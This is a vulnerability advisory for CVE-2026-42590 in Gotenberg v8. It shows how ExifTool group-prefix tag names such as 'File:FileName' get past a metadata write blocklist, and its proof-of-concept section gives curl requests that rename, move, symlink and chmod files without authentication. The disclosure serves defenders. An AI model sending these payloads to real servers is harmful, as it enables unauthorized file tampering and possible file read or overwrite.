PT-2026-38381 · Go · Github.Com/Gotenberg/Gotenberg/V8

Published

2026-05-07

·

Updated

2026-05-07

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CVE-2026-42590

CVSS v3.1

8.2

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Summary
The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.
Details
The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.
The safeKeyPattern regex (^[a-zA-Z0-9- .:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.
Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.
PoC
# Rename the converted PDF (bypasses FileName blocklist)
curl -F "files=@test.pdf" 
 -F 'metadata={"File:FileName":"pwned.pdf"}' 
 http://localhost:3000/forms/pdfengines/metadata/write

# Move the file to /tmp (bypasses Directory blocklist)
curl -F "files=@test.pdf" 
 -F 'metadata={"File:Directory":"/tmp"}' 
 http://localhost:3000/forms/pdfengines/metadata/write

# Create a symlink (bypasses SymLink blocklist)
curl -F "files=@test.pdf" 
 -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' 
 http://localhost:3000/forms/pdfengines/metadata/write

# Change file permissions (not blocked at all)
curl -F "files=@test.pdf" 
 -F 'metadata={"FilePermissions":"rwxrwxrwx"}' 
 http://localhost:3000/forms/pdfengines/metadata/write
Impact
Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.
This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.

Fix

Incomplete List of Disallowed Inputs

Weakness Enumeration

CWE-184

Related Identifiers

CVE-2026-42590
GHSA-7V3R-M9C8-R855

Affected Products

Github.Com/Gotenberg/Gotenberg/V8